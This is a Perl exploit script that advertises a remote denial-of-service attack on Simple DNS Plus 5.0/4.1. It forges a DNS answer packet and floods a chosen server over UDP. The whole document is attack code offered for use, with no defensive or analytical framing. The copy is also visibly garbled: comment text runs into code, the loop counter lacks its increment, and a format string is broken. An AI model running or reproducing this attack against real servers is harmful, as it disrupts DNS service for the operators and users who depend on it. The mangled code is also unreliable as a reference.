Simple DNS Plus

#!/usr/bin/perl
     # Simple DNS Plus 5.0/4.1 < remote Denial of Service exploit
     #
     # usage: sdns-dos.pl <dns server> <dns source port> <num of packets>
     # Exploit written by Exodus.
     # http://www.blackhat.org.il use IO::Socket; if(@ARGV < 3){
     print("sdns-dos.pl <dns server> <dns source port> <num of packets>");
     }
     $sock = IO::Socket::INET->new(PeerAddr => "$ARGV[0]:$ARGV[1]", Proto => 'UDP') || die("Cant connect DNS server"); $address = $ARGV[0]; $trans = pack("H4","1337");
     $flags = pack("B16","1000010110110000");
     $question = pack("H4","0001");
     $answerRR = pack("H4","0001");
     $authorityRR = pack("H4","0000");
     $additionlRR = pack("H4","0000");
     $type = pack("H4","0001"); # A host name
     $class = pack("H4","0001"); # IN @parts = split(/\./,$address);
     foreach $part (@parts)
     {
     $packedlen = pack("H2",sprintf("x",length($part)));
     $address2 .= $packedlen.$part;
     }
     $query = $address2. "\000" . $type . $class; $aname = pack("H4","c00c");
     $atype = pack("H4","0001");
     $aclass = pack("H4","0001");
     $ttl = pack("H8","0000008d");
     $dlen = pack("H4","0004");
     $addr = inet_aton("127.0.0.1");
     $answer = $aname . $atype . $aclass . $ttl . $dlen . $addr; $payload = $trans . $flags . $question . $answerRR
     . $authorityRR . $additionlRR . $query . $answer; print "sending $ARGV[2] packets… ";
     for($i=0;$i<=$ARGV[2];$i )
     {
     print $sock $payload;
     }
     print "Done. Good bye.";
     __END__